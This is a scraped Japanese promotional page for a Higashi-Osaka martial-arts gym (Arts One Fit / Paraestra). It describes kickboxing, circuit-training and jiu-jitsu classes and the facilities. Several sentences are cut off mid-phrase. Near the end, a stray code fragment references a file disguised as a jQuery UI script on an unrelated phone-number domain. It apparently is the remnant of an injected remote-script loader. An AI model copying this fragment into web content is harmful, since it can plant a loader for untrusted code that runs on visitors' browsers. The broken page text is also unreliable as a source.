Artsワンフィットの格闘技レッスンは現役格闘家が直接指導してくれる、本格レッスン。"の3人が素敵な笑顔で優しく楽しく、沢山のテクニックを指導してくれます。気がついたらたくさん汗をかいていると言う感じで行なっております。なく出来る格闘技で、人生を楽しんでいきましょう!!そのサポートは任せて下さい!キックレッスンウォーミングアップまず身体を暖めるためにシャドーと縄跳びをします。初心者や体験の方はこの時間でインストラクターに打撃の打ち方を指導いたします。テクニック・ミット身体が暖まるとグローブなどの防具をつけ2人1組のペアになっていただきパンチやキックのテクニックの練習をします。防具をつけているので安全です。最後にみんなで実践さながらのマススパーをします。実際に当てたりしないので初心者の方にも参加していただけます。フィジカルダイエットウォーミングアップロープやアクティブストレッチを行い身体をあっためていきます。ウォーミングアップを行うことで怪我の予防にもなります。フィジカルトレーニングチューブを使用したモンスターウォークでお尻や太ももを引き締めや、ケトルベルを使用したスイングで全身の引き締めを目的としたトレ―二ングを行います。サーキットトレーニング無酸素運動と有酸素運動を交互に行いエネルギーを代謝に変える働きを取り入れた効率的なトレーニング方法で追い込みをします。脂肪燃焼効果も抜群で、ダイエットに最適です。柔術ウォーミングアップ動的ストレッチやマット運動を行いケガ予防・体の可動域を向上させます。テクニック様々な体制や動きの中でのエスケープの動作や関節技・極め技への動作を練習します。スパーリング指導してもらったテクニックなどを使って試合形式の練習をします。老若男女問わず自分の実力を試していただけます。24では10階施設にパラエストラ東大阪が併設されております。パラエストラ東大阪は150平米のマットスペースを有します関西でも最大級の格闘技道場です。午前中から深夜までキックボクシングやブラジリアン柔術といった様々な格闘技のレッスンを開催しております。お仕事帰りにも参加しやすく、プロの指導者が責任をもって指導しておりますので、安全で未経験者でも続けやすい環境が整っております。パラエストラ東大阪の最大の特徴として会員様(※一部会員を除く)は併設しておりますスポーツジム設備を24時間ご利用いただくことが可能です。"https://0120-766-555.com/wp-web/wp-includes/js/jquery/ui/button.min.js-end");タイトルとURLをコピーしました。